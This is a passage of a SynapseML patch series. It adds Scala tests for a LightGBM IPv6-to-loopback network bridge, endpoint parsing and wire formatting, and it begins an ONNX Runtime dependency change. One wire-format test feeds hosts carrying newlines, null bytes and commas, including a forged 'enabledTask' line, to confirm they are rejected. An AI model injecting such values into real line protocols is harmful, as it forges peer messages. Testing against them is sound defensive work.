+ thread + } + }) + + override def afterEach(): Unit = { + closeables.asScala.foreach(resource => Try(resource.close())) + closeables.clear() + super.afterEach() + } + + private def register[T <: AutoCloseable](resource: T): T = { + closeables.add(resource) + resource + } + + private def ipv6LoopbackAvailable: Boolean = Try { + val probe = new ServerSocket() + try { + probe.bind(new InetSocketAddress(InetAddress.getByName(ipv6Loopback), 0)) + true + } finally { + probe.close() + } + }.getOrElse(false) + + private def listenOnIpv6(): ServerSocket = { + val listener = new ServerSocket() + listener.bind(new InetSocketAddress(InetAddress.getByName(ipv6Loopback), 0)) + listener.setSoTimeout(socketTimeoutMillis) + register(listener) + } + + private def listenOnLoopback(port: Int): ServerSocket = { + val listener = new ServerSocket() + listener.bind(new InetSocketAddress(InetAddress.getByName(LightGBMNetworkBridge.LoopbackHost), port)) + listener.setSoTimeout(socketTimeoutMillis) + register(listener) + } + + private def freeIpv6Port(): Int = { + val probe = new ServerSocket() + try { + probe.bind(new InetSocketAddress(InetAddress.getByName(ipv6Loopback), 0)) + probe.getLocalPort + } finally { + probe.close() + } + } + + private def connect(host: String, port: Int): Socket = { + val socket = new Socket() + socket.connect(new InetSocketAddress(InetAddress.getByName(host), port), socketTimeoutMillis) + socket.setSoTimeout(socketTimeoutMillis) + register(socket) + } + + /** Stand in for a peer opening a LightGBM link, which starts by sending its own rank. */ + private def dialAsRank(port: Int, rank: Int, host: String = "::1"): Socket = { + val socket = connect(host, port) + socket.getOutputStream.write(LightGBMNetworkRelay.rankBuffer(rank).array()) + socket.getOutputStream.flush() + socket + } + + /** Stand in for the native listener, which the bridge claims a link slot on for every lower rank. */ + private def acceptNativeSlot(listener: ServerSocket): (Int, Socket) = { + val socket = register(listener.accept()) + val bytes = new Array[Byte](LightGBMNetworkRelay.RankBytes) + new DataInputStream(socket.getInputStream).readFully(bytes) + (ByteBuffer.wrap(bytes).order(ByteOrder.nativeOrder()).getInt, socket) + } + + private def endpoint(entry: String): WorkerEndpoint = WorkerEndpoint.parse(entry) + + private def bridgedEntries(machineList: String): Seq[String] = machineList.split(",").toSeq + + private def randomPayload(size: Int): Array[Byte] = { + val payload = new Array[Byte](size) + new Random(size.toLong).nextBytes(payload) + payload + } + + private def assertPayloadCrosses(sender: Socket, receiver: Socket, payload: Array[Byte]): Unit = { + val received = pool.submit(new Callable[Array[Byte]] { + override def call(): Array[Byte] = { + val buffer = new Array[Byte](payload.length) + new DataInputStream(receiver.getInputStream).readFully(buffer) + buffer + } + }) + sender.getOutputStream.write(payload) + sender.getOutputStream.flush() + assert(received.get(socketTimeoutMillis.toLong, TimeUnit.MILLISECONDS).sameElements(payload), + "The relayed payload did not arrive intact") + } + + private def assertEndOfStream(socket: Socket, clue: String): Unit = { + val ended = try { + socket.getInputStream.read() == -1 + } catch { + // A reset is the other legitimate way for the far side to report that it is gone. + case _: IOException => true + } + assert(ended, clue) + } + + test("An IPv4 machine list never needs the bridge") { + assert(!LightGBMNetworkBridge.requiresBridge("127.0.0.1:12400,10.0.0.4:12400")) + assert(!LightGBMNetworkBridge.requiresBridge("worker-1:12400,worker-2:12401")) + assert(!LightGBMNetworkBridge.requiresBridge("")) + assert(!LightGBMNetworkBridge.requiresBridge(None.orNull)) + } + + test("Every IPv6 machine list form needs the bridge") { + assert(LightGBMNetworkBridge.requiresBridge("[2001:db8::1]:12400,[2001:db8::2]:12400")) + assert(LightGBMNetworkBridge.requiresBridge("2001:db8::1:12400")) + assert(LightGBMNetworkBridge.requiresBridge("[fe80::1%eth0]:12400")) + // A single IPv6 machine in an otherwise IPv4 list is still unreachable for the native library. + assert(LightGBMNetworkBridge.requiresBridge("10.0.0.4:12400,[2001:db8::2]:12400")) + } + + test("Machine list parsing keeps entry order and rejects malformed entries") { + val parsed = LightGBMNetworkBridge.parseMachineList(" [2001:db8::2]:12401 ,10.0.0.4:12400 ") + assert(parsed.map(_.wireString) == Seq("[2001:db8::2]:12401", "10.0.0.4:12400")) + assert(intercept[IllegalArgumentException](LightGBMNetworkBridge.parseMachineList("")).getMessage + .contains("does not contain any endpoint")) + assert(intercept[IllegalArgumentException](LightGBMNetworkBridge.parseMachineList("[2001:db8::2]")) + .getMessage.contains("missing its port")) + } + + test("A task finds its own machine list entry even when peers share its host or port") { + val entries = Seq("[2001:db8::1]:12400", "[2001:db8::2]:12400", "[2001:db8::2]:12401").map(endpoint) + assert(LightGBMNetworkBridge.findSelf(entries, "2001:db8::2", 12400) == 1) + assert(LightGBMNetworkBridge.findSelf(entries, "2001:db8::1", 12400) == 0) + assert(LightGBMNetworkBridge.findSelf(entries, "2001:db8::2", 12401) == 2) + // A host written in a different but equivalent form still resolves to the same entry. + assert(LightGBMNetworkBridge.findSelf(entries, "2001:0db8:0000:0000:0000:0000:0000:0002", 12401) == 2) + // A unique port identifies the entry even when the reported host was not preserved. + assert(LightGBMNetworkBridge.findSelf(entries, "", 12401) == 2) + } + + test("A machine list without this task's endpoint fails with an actionable error") { + val entries = Seq("[2001:db8::1]:12400", "[2001:db8::2]:12400").map(endpoint) + val failure = intercept[IllegalArgumentException](LightGBMNetworkBridge.findSelf(entries, "2001:db8::9", 12999)) + assert(failure.getMessage.contains("does not contain this task's own endpoint")) + assert(failure.getMessage.contains("[2001:db8::9]:12999")) + } + + test("The bridged machine list keeps entry order, pins the rank, and only relays IPv6 peers") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freeIpv6Port() + val peerPort = freeIpv6Port() + val machineList = s"[$ipv6Loopback]:$peerPort,10.0.0.4:12400,[$ipv6Loopback]:$advertisedPort" + val bridge = register(LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log)) + + val bridged = bridge.bridgedNetwork + val entries = bridgedEntries(bridged.machineList) + assert(entries.head == s"${LightGBMNetworkBridge.RankPrefix}2", "The rank has to be pinned for the native library") + assert(entries.length == 4) + assert(bridged.machineCount == 3, "The bridge must not change the number of machines") + assert(bridged.rank == 2) + // The IPv4 peer stays a direct native connection; the IPv6 peer and this task are relayed. + assert(endpoint(entries(1)).host == LightGBMNetworkBridge.LoopbackHost) + assert(entries(2) == "10.0.0.4:12400") + assert(endpoint(entries(3)) == + WorkerEndpoint.parse(s"${LightGBMNetworkBridge.LoopbackHost}:${bridged.localListenPort}")) + assert(bridged.localListenPort != advertisedPort, + "The native listener needs its own port, because the bridge owns the advertised one") + } + + test("The bridge claims a native link slot for every lower rank as soon as the port is bound") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + // Rank 2 of 3, so the native listener would accept two links before closing itself. + val advertisedPort = freeIpv6Port() + val machineList = s"[$ipv6Loopback]:${freeIpv6Port()},[$ipv6Loopback]:${freeIpv6Port()}," + + s"[$ipv6Loopback]:$advertisedPort" + val bridge = register(LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log)) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + + // No peer has connected yet, so these can only be the bridge claiming the slots from loopback. + val claimed = (1 to 2).map(_ => acceptNativeSlot(nativeListener)) + assert(claimed.map { case (rank, _) => rank }.toSet == Set(0, 1), + "The bridge has to identify each claimed slot with the rank that will use it") + claimed.foreach { case (_, socket) => + assert(socket.getInetAddress.isLoopbackAddress, "A native link slot was claimed from off the machine") + } + } + + test("Peer traffic arriving over IPv6 reaches the native listener and flows both ways") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freeIpv6Port() + val peerPort = freeIpv6Port() + val machineList = s"[$ipv6Loopback]:$peerPort,[$ipv6Loopback]:$advertisedPort" + val bridge = register(LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log)) + val bridged = bridge.bridgedNetwork + + // Stand in for the native LightGBM listener, which only ever binds an IPv4 socket. + val nativeListener = listenOnLoopback(bridged.localListenPort) + val (claimedRank, nativeConnection) = acceptNativeSlot(nativeListener) + assert(claimedRank == 0) + + val peerConnection = dialAsRank(advertisedPort, 0) + assertPayloadCrosses(peerConnection, nativeConnection, randomPayload(payloadSize)) + assertPayloadCrosses(nativeConnection, peerConnection, randomPayload(payloadSize)) + + // LightGBM ends a link by closing it, so the half close has to reach the peer. + nativeConnection.shutdownOutput() + assertEndOfStream(peerConnection, "The peer never saw the native end of stream") + } + + test("Native traffic to an IPv6 peer is relayed to that peer's real address") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val peerListener = listenOnIpv6() + val advertisedPort = freeIpv6Port() + val machineList = s"[$ipv6Loopback]:$advertisedPort,[$ipv6Loopback]:${peerListener.getLocalPort}" + val bridge = register(LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log)) + val bridged = bridge.bridgedNetwork + + // The native library dials the loopback entry the bridge published for machine 1. + val relayPort = endpoint(bridgedEntries(bridged.machineList)(2)).port + val nativeConnection = connect(LightGBMNetworkBridge.LoopbackHost, relayPort) + val peerConnection = register(peerListener.accept()) + + assertPayloadCrosses(nativeConnection, peerConnection, randomPayload(payloadSize)) + assertPayloadCrosses(peerConnection, nativeConnection, randomPayload(payloadSize)) + } + + test("A rank handshake in the LightGBM wire form survives the bridge") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + // An outbound link is forwarded verbatim, so the peer reads the rank the native library sent. + val peerListener = listenOnIpv6() + val advertisedPort = freeIpv6Port() + val machineList = s"[$ipv6Loopback]:$advertisedPort,[$ipv6Loopback]:${peerListener.getLocalPort}" + val bridge = register(LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log)) + val relayPort = endpoint(bridgedEntries(bridge.bridgedNetwork.machineList)(2)).port + + val nativeConnection = connect(LightGBMNetworkBridge.LoopbackHost, relayPort) + nativeConnection.getOutputStream.write(LightGBMNetworkRelay.rankBuffer(0).array()) + nativeConnection.getOutputStream.flush() + + val peerConnection = register(peerListener.accept()) + val rankBytes = new Array[Byte](LightGBMNetworkRelay.RankBytes) + new DataInputStream(peerConnection.getInputStream).readFully(rankBytes) + assert(ByteBuffer.wrap(rankBytes).order(ByteOrder.nativeOrder()).getInt == 0) + } + + test("A relayed connection whose far side never answers is closed instead of stalling LightGBM") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val deadPeerPort = freeIpv6Port() + val advertisedPort = freeIpv6Port() + val machineList = s"[$ipv6Loopback]:$advertisedPort,[$ipv6Loopback]:$deadPeerPort" + val bridge = register( + LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log, connectTimeoutMillis = 200L)) + val relayPort = endpoint(bridgedEntries(bridge.bridgedNetwork.machineList)(2)).port + + val nativeConnection = connect(LightGBMNetworkBridge.LoopbackHost, relayPort) + // Nothing is listening on the peer port, so the relay gives up and closes the native side. + assertEndOfStream(nativeConnection, + "The bridge kept a relayed connection open even though its far side was unreachable") + } + + test("An IPv6 link-local peer is only accepted with a zone this machine can resolve") { + val unscoped = intercept[IllegalArgumentException]( + LightGBMNetworkBridge.resolvePeer(endpoint("[fe80::1]:12400"), log)) + assert(unscoped.getMessage.contains("has to advertise a zone identifier")) + + val unknownZone = intercept[IllegalArgumentException]( + LightGBMNetworkBridge.resolvePeer(endpoint("[fe80::1%no-such-interface]:12400"), log)) + assert(unknownZone.getMessage.contains("does not name an interface on this machine")) + + // A zone this machine does know keeps its scope all the way through resolution. + val scopedZone = NetworkInterface.getNetworkInterfaces.asScala.map(_.getName) + .find(name => Try(InetAddress.getByName(s"fe80::1%$name")).isSuccess) + scopedZone.foreach { zone => + val resolved = LightGBMNetworkBridge.resolvePeer(endpoint(s"[fe80::1%$zone]:12400"), log) + assert(resolved.isLinkLocalAddress) + assert(resolved.getHostAddress.contains("%"), "The resolved link-local address lost its zone") + } + } + + test("A numeric IPv6 scope is normalized before it is published and rejected when a peer sends one") { + // An interface index only means something on the machine that produced it. + val named = NetworkInterface.getNetworkInterfaces.asScala.find(_.getIndex > 0) + named.foreach { candidate => + val normalized = WorkerEndpoint.normalizeHost(s"fe80::1%${candidate.getIndex}") + assert(normalized == s"fe80::1%${candidate.getName}", + s"A numeric scope was published as is instead of as an interface name") + } + assert(WorkerEndpoint.normalizeHost("10.0.0.4") == "10.0.0.4") + assert(WorkerEndpoint.normalizeHost("fe80::1%eth0") == "fe80::1%eth0") + + val numericPeer = intercept[IllegalArgumentException]( + LightGBMNetworkBridge.resolvePeer(endpoint("[fe80::1%3]:12400"), log)) + assert(numericPeer.getMessage.contains("numeric interface index")) + } + + test("A JVM pinned to the IPv4 stack is told why it cannot join an IPv6 network") { + val property = "java.net.preferIPv4Stack" + val previous = Option(System.getProperty(property)) + try { + System.setProperty(property, "true") + val failure = intercept[IllegalStateException]( + LightGBMNetworkBridge.open("[2001:db8::1]:12400,[2001:db8::2]:12400", "2001:db8::1", 12400, log)) + assert(failure.getMessage.contains("-Djava.net.preferIPv4Stack=true")) + } finally { + previous.map(value => System.setProperty(property, value)).getOrElse(System.clearProperty(property)) + } + } + + test("Closing the bridge releases the advertised port and its relay ports") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freeIpv6Port() + val peerPort = freeIpv6Port() + val machineList = s"[$ipv6Loopback]:$advertisedPort,[$ipv6Loopback]:$peerPort" + val bridge = LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log) + val relayPort = endpoint(bridgedEntries(bridge.bridgedNetwork.machineList)(2)).port + + bridge.close() + bridge.close() // The training path can close a bridge more than once. + + Seq(advertisedPort, relayPort).foreach { port => + val rebound = new ServerSocket() + try { + rebound.bind(new InetSocketAddress(port)) + assert(rebound.isBound) + } finally { + rebound.close() + } + } + } +} diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/TrainUtilsSuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/TrainUtilsSuite.scala index 277725c9dfd..c89f6140af3 100644 --- a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/TrainUtilsSuite.scala +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/TrainUtilsSuite.scala @@ -3,11 +3,14 @@ package com.microsoft.azure.synapse.ml.lightgbm.split1 -import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMRegressor, TrainUtils} +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMRegressor, NetworkManager, TrainUtils} import org.scalatest.funsuite.AnyFunSuite +import org.slf4j.LoggerFactory class TrainUtilsSuite extends AnyFunSuite { + private val log = LoggerFactory.getLogger(classOf[TrainUtilsSuite]) + private val lowerIsBetterMetrics = Seq( "rmse", "l1", @@ -61,6 +64,75 @@ class TrainUtilsSuite extends AnyFunSuite { } } + test("Main worker endpoint parser keeps hostname and IPv4 behavior") { + val endpoints = Seq( + "worker.example.test:12404" -> ("worker.example.test", 12404), + "localhost:80" -> ("localhost", 80), + "192.0.2.10:65535" -> ("192.0.2.10", 65535), + "127.0.0.1:00080" -> ("127.0.0.1", 80)) + + endpoints.foreach { case (endpoint, expected) => + assert(NetworkManager.parseHostAndPort(endpoint) == expected) + assert(NetworkManager.getMainWorkerPort(s"$endpoint,backup.example.test:12405", log) == expected._2) + } + } + + test("Main worker endpoint parser supports bracketed and practical bare IPv6") { + val endpoints = Seq( + "[2001:db8::1]:12404" -> ("2001:db8::1", 12404), + "2001:db8::1:12404" -> ("2001:db8::1", 12404), + "2001:db8:0:1:2:3:4:5:12404" -> ("2001:db8:0:1:2:3:4:5", 12404), + "[::1]:443" -> ("::1", 443), + "::1:12404" -> ("::1", 12404), + "2001:db8:::12404" -> ("2001:db8::", 12404), + "[fe80::a%eth0]:12404" -> ("fe80::a%eth0", 12404), + "fe80::a%3:12404" -> ("fe80::a%3", 12404)) + + endpoints.foreach { case (endpoint, expected) => + assert(NetworkManager.parseHostAndPort(endpoint) == expected) + assert(NetworkManager.getMainWorkerPort(endpoint, log) == expected._2) + } + } + + test("Main worker endpoint parser rejects malformed hosts and ports with actionable errors") { + val malformedEndpoints = Seq( + "" -> "endpoint is empty", + "worker.example.test" -> "missing ':' port separator", + ":12404" -> "host is empty", + "worker.example.test:" -> "port is empty", + "worker.example.test:not-a-port" -> "not a decimal integer", + "worker.example.test:+80" -> "not a decimal integer", + "worker.example.test:-1" -> "not a decimal integer", + "worker.example.test:0" -> "outside the valid range", + "worker.example.test:65536" -> "outside the valid range", + "worker.example.test:999999999999999999999" -> "too large", + "[2001:db8::1]12404" -> "must be followed by a ':' port separator", + "[2001:db8::1" -> "missing its closing ']'", + "[2001:db8::1]" -> "missing its port", + "[worker.example.test]:12404" -> "brackets are only valid around an IPv6 literal", + "2001:db8::1" -> "bare IPv6 endpoint is ambiguous", + "2001:db8::1:10" -> "bare IPv6 endpoint is ambiguous", + "2001:db8:::1:12404" -> "not a valid IPv6 literal", + "fe80::1%:12404" -> "IPv6 zone identifier is empty", + "fe80::1%eth0%extra:12404" -> "IPv6 zone identifier is malformed", + "worker name:12404" -> "host contains whitespace, control characters, or an endpoint delimiter") + + malformedEndpoints.foreach { case (endpoint, expectedMessage) => + val failure = intercept[IllegalArgumentException](NetworkManager.parseHostAndPort(endpoint)) + assert(failure.getMessage.contains(expectedMessage)) + assert(failure.getMessage.contains("Expected hostname:port")) + } + + val nullFailure = intercept[IllegalArgumentException] { + NetworkManager.parseHostAndPort(null) //scalastyle:ignore null + } + assert(nullFailure.getMessage.contains("endpoint is null")) + assert(intercept[IllegalArgumentException](NetworkManager.getMainWorkerPort( + null, log)).getMessage.contains("network node list is null")) //scalastyle:ignore null + assert(intercept[IllegalArgumentException](NetworkManager.getMainWorkerPort( + ",worker.example.test:12404", log)).getMessage.contains("endpoint is empty")) + } + test("Zero early stopping rounds disable wrapper early stopping") { assert(!TrainUtils.shouldStopEarly( iteration = 100, diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/WorkerWireFormatSuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/WorkerWireFormatSuite.scala new file mode 100644 index 00000000000..7dc844763e3 --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/WorkerWireFormatSuite.scala @@ -0,0 +1,128 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMConstants, NetworkManager, TaskMessageInfo, + WorkerEndpoint, WorkerMessage} +import org.scalatest.funsuite.AnyFunSuite + +import java.io.{BufferedReader, BufferedWriter, InputStreamReader, OutputStreamWriter} +import java.net.{InetSocketAddress, ServerSocket, Socket} +import scala.collection.mutable.ListBuffer +import scala.util.Try + +/** Covers the wire form of every endpoint LightGBM components exchange. */ +class WorkerWireFormatSuite extends AnyFunSuite { + + private val socketTimeoutMillis = 30000 + private val driverHost = "127.0.0.1" + private val timeout = 30.0 + + private class ReportingTask(host: String, port: Int, taskHost: String, listenPort: Int, partitionId: Int) + extends AutoCloseable { + private val socket = new Socket() + socket.connect(new InetSocketAddress(host, port), socketTimeoutMillis) + socket.setSoTimeout(socketTimeoutMillis) + private val reader = new BufferedReader(new InputStreamReader(socket.getInputStream)) + private val writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream)) + + def report(): Unit = { + val message = WorkerMessage.format( + TaskMessageInfo(LightGBMConstants.EnabledTask, taskHost, listenPort, partitionId, partitionId.toString), 0) + writer.write(s"$message\n") + writer.flush() + } + + def readMachineList(): String = reader.readLine() + + override def close(): Unit = socket.close() + } + + test("Only an IPv6 host is bracketed on the wire") { + assert(WorkerEndpoint.wireString("10.0.0.4", 12400) == "10.0.0.4:12400") + assert(WorkerEndpoint.wireString("worker-1", 12400) == "worker-1:12400") + assert(WorkerEndpoint.wireString("2001:db8::1", 12400) == "[2001:db8::1]:12400") + // A zone identifier belongs inside the brackets, with the address it scopes. + assert(WorkerEndpoint.wireString("fe80::1%eth0", 12400) == "[fe80::1%eth0]:12400") + // An already bracketed host is not bracketed twice. + assert(WorkerEndpoint.wireString("[2001:db8::1]", 12400) == "[2001:db8::1]:12400") + } + + test("A wire endpoint round trips back to the host it was built from") { + Seq("10.0.0.4", "worker-1", "2001:db8::1", "fe80::1%eth0", "::1").foreach { host => + val parsed = WorkerEndpoint.parse(WorkerEndpoint.wireString(host, 12400)) + assert(parsed.host == host) + assert(parsed.port == 12400) + assert(parsed.wireString == WorkerEndpoint.wireString(host, 12400)) + } + } + + test("A host carrying a control character or a delimiter never reaches the wire") { + // The topology exchange is a line protocol over a comma delimited machine list, so any of these + // would either split one endpoint into two or forge an extra protocol line. + Seq("10.0.0.4\n", "10.0.0.4\r", "10.0.0.4\t", "10.0.0.4\u0000", "10.0.0.4 ", "10.0.0.4,10.0.0.5", + "10.0.0.4]", "[10.0.0.4").foreach { host => + val failure = intercept[IllegalArgumentException](WorkerEndpoint.wireString(host, 12400)) + assert(failure.getMessage.contains("Invalid LightGBM worker endpoint"), s"unexpected error for '$host'") + } + } + + test("A rejected endpoint reports control characters as escapes rather than raw bytes") { + val failure = intercept[IllegalArgumentException](WorkerEndpoint.wireString("10.0.0.4\r\nignore:1", 12400)) + assert(failure.getMessage.contains("\\r\\n")) + assert(!failure.getMessage.contains("\r")) + assert(!failure.getMessage.contains("\n")) + val nullByte = intercept[IllegalArgumentException](WorkerEndpoint.wireString("10.0.0.4\u0000", 12400)) + assert(nullByte.getMessage.contains("\\u0000")) + } + + test("A port outside the valid range never reaches the wire") { + Seq(0, -1, LightGBMConstants.MaxPort + 1).foreach { port => + val failure = intercept[IllegalArgumentException](WorkerEndpoint.wireString("10.0.0.4", port)) + assert(failure.getMessage.contains("Invalid LightGBM worker endpoint")) + } + } + + test("A task message round trips for every host form, including a scoped IPv6 literal") { + Seq("10.0.0.4", "2001:db8::1", "fe80::1%eth0").foreach { host => + val status = TaskMessageInfo(LightGBMConstants.EnabledTask, host, 12400, 3, "executor-2") + val message = WorkerMessage.format(status, 7) + val parsed = WorkerMessage.parse(message) + assert(parsed.taskHost == host) + assert(parsed.localListenPort == 12400) + assert(parsed.partitionId == 3) + assert(parsed.executorId == "executor-2") + assert(parsed.stageAttemptNumber == 7) + } + } + + test("A task message with a forged extra line is rejected before it is sent") { + val status = TaskMessageInfo(LightGBMConstants.EnabledTask, "10.0.0.4\nenabledTask:10.0.0.9", 12400, 0, "e") + assert(intercept[IllegalArgumentException](WorkerMessage.format(status, 0)) + .getMessage.contains("Invalid LightGBM worker endpoint")) + } + + test("The driver publishes a machine list the LightGBM network layer can split on commas") { + val serverSocket = new ServerSocket(0) + serverSocket.setSoTimeout(socketTimeoutMillis) + val manager = NetworkManager(2, serverSocket, driverHost, serverSocket.getLocalPort, timeout, + useBarrierExecutionMode = false) + val tasks = ListBuffer.empty[ReportingTask] + try { + tasks += new ReportingTask(driverHost, serverSocket.getLocalPort, "2001:db8::1", 12400, 0) + tasks += new ReportingTask(driverHost, serverSocket.getLocalPort, "2001:db8::2", 12401, 1) + tasks.foreach(_.report()) + + val machineList = tasks.head.readMachineList() + assert(machineList == "[2001:db8::1]:12400,[2001:db8::2]:12401", + "An unbracketed IPv6 machine list cannot be split into host and port by any peer") + // Every consumer of the machine list has to agree on where the first endpoint ends. + assert(NetworkManager.getMainWorkerPort(machineList, org.slf4j.LoggerFactory.getLogger(getClass)) == 12400) + manager.waitForNetworkCommunicationsDone() + } finally { + manager.closeConnections() + tasks.foreach(task => Try(task.close())) + } + } +} From d5e9eb80072e624a5d9fc017ab5ad90e19cf450b Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 15 Aug 2026 18:02:54 -0700 Subject: [PATCH 71/93] fix(onnx): upgrade runtime for Spark 3.5 local inference (#2636) --- build.sbt | 8 +- .../azure/synapse/ml/onnx/ONNXModel.scala | 15 +- .../azure/synapse/ml/onnx/ONNXRuntime.scala | 85 ++++++++-- .../synapse/ml/onnx/ONNXValueConverter.scala | 68 ++++++++ .../synapse/ml/onnx/ONNXModelSuite.scala | 159 +++++++++++++++++- .../ml/onnx/ONNXRuntimeDependencySuite.scala | 96 +++++++++++ .../ml/onnx/ONNXValueConverterSuite.scala | 46 +++++ docs/Explore Algorithms/Deep Learning/ONNX.md | 132 ++++++++++++++- project/OnnxRuntimeDependency.scala | 49 ++++++ 9 files changed, 636 insertions(+), 22 deletions(-) create mode 100644 deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXValueConverter.scala create mode 100644 deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXRuntimeDependencySuite.scala create mode 100644 deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXValueConverterSuite.scala create mode 100644 project/OnnxRuntimeDependency.scala diff --git a/build.sbt b/build.sbt index 08f6c81ca10..9d2330a6297 100644 --- a/build.sbt +++ b/build.sbt @@ -330,12 +330,18 @@ lazy val deepLearning = (project in file("deep-learning")) .settings(settings ++ Seq( libraryDependencies ++= Seq( "com.microsoft.azure" % "onnx-protobuf_2.12" % "0.9.3", - "com.microsoft.onnxruntime" % "onnxruntime_gpu" % "1.8.1", + // Default to the CPU-only, cross-platform ONNX Runtime artifact (ships native libraries for + // Windows x64, Linux x64/aarch64, and macOS x64/aarch64) so ONNXModel works out of the box on + // every supported platform. CUDA support is an explicit opt-in: the onnxruntime_gpu artifact + // adds NVIDIA CUDA/TensorRT execution providers (Linux/Windows only, ~300+MB) and is never + // bundled by default. See docs/Explore Algorithms/Deep Learning/ONNX.md for GPU setup. + "com.microsoft.onnxruntime" % "onnxruntime" % "1.8.1", "org.apache.hadoop" % "hadoop-common" % "3.3.4" % "test", "org.apache.hadoop" % "hadoop-azure" % "3.3.4" % "test", ), name := "synapseml-deep-learning" ): _*) + .settings(OnnxRuntimeDependency.settings: _*) lazy val lightgbm = (project in file("lightgbm")) .dependsOn(core % "test->test;compile->compile") diff --git a/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModel.scala b/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModel.scala index 491ee64d675..3e9577698aa 100644 --- a/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModel.scala +++ b/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModel.scala @@ -86,6 +86,15 @@ trait ONNXModelParams extends Params with HasMiniBatcher with HasFeedFetchDicts def setDeviceType(value: String): this.type = set(deviceType, value) + /** + * Returns the configured deviceType normalized to upper-case ("CPU"/"CUDA"), if set. The deviceType + * Param validator accepts any case (validated via `x.toUpperCase()`), so all internal deviceType + * comparisons (GPU auto-detection, explicit-CUDA fail-fast) must read this normalized accessor + * instead of the raw Param value -- otherwise a validator-accepted but differently-cased value like + * "cuda" or "Cuda" would silently bypass CUDA handling entirely. + */ + def getNormalizedDeviceType: Option[String] = get(deviceType).map(_.toUpperCase) + val optimizationLevel: Param[String] = new Param[String]( this, "optimizationLevel", @@ -237,7 +246,8 @@ class ONNXModel(override val uid: String) val batchedDF = getMiniBatcher.transform(dataset) val (coerced, feedDict) = coerceBatchedDf(batchedDF) val modelBc = broadcastedModelPayload.getOrElse(rebroadcastModelPayload(dataset.sparkSession)) - val (fetchDicts, devType, optLevel) = (getFetchDict, get(deviceType), OptLevel.valueOf(getOptimizationLevel)) + val (fetchDicts, devType, optLevel) = + (getFetchDict, getNormalizedDeviceType, OptLevel.valueOf(getOptimizationLevel)) val outputDf = coerced.mapPartitions { rows => @@ -246,7 +256,8 @@ class ONNXModel(override val uid: String) val gpuDeviceId = selectGpuDevice(devType) val env = OrtEnvironment.getEnvironment logInfo(s"Task:$taskId;DeviceType=$devType;DeviceId=$gpuDeviceId;OptimizationLevel=$optLevel") - val session = createOrtSession(payload, env, optLevel, gpuDeviceId) + val session = createOrtSession( + payload, env, optLevel, gpuDeviceId, explicitCudaRequested = devType.contains("CUDA")) applyModel(session, env, feedDict, fetchDicts, inputSchema)(rows) } diff --git a/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXRuntime.scala b/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXRuntime.scala index ebe50de6e90..f18f34a5854 100644 --- a/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXRuntime.scala +++ b/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXRuntime.scala @@ -3,7 +3,6 @@ package com.microsoft.azure.synapse.ml.onnx -import ai.onnxruntime.OrtException.OrtErrorCode import ai.onnxruntime.OrtSession.SessionOptions import ai.onnxruntime.OrtSession.SessionOptions.OptLevel import ai.onnxruntime._ @@ -22,25 +21,76 @@ import scala.jdk.CollectionConverters.mapAsScalaMapConverter * ONNXRuntime: A wrapper around the ONNX Runtime (ORT) */ object ONNXRuntime extends Logging { + // Extracted so createOrtSession's control flow fits scalastyle's method-length limit; the message + // text/rationale is unchanged from what was previously inlined at each throw/log call site. + private def noGpuResourceAssignedMessage: String = + "deviceType=CUDA was explicitly requested, but no Spark \"gpu\" resource is assigned to this " + + "executor/task, so there is no GPU device id to use. Configure Spark's GPU resource " + + "allocation (for example spark.executor.resource.gpu.amount and " + + "spark.task.resource.gpu.amount) so a gpu resource is assigned to this task, or set " + + "deviceType=CPU to run on CPU intentionally." + + private def explicitCudaProviderFailedMessage(gpuDeviceId: Option[Int], exp: OrtException): String = + s"deviceType=CUDA was explicitly requested and a GPU device (id ${gpuDeviceId.get}) was " + + s"found on this executor, but adding CUDA support failed with error code ${exp.getCode}. " + + s"Most likely the ONNX runtime supplied to the cluster is the default " + + 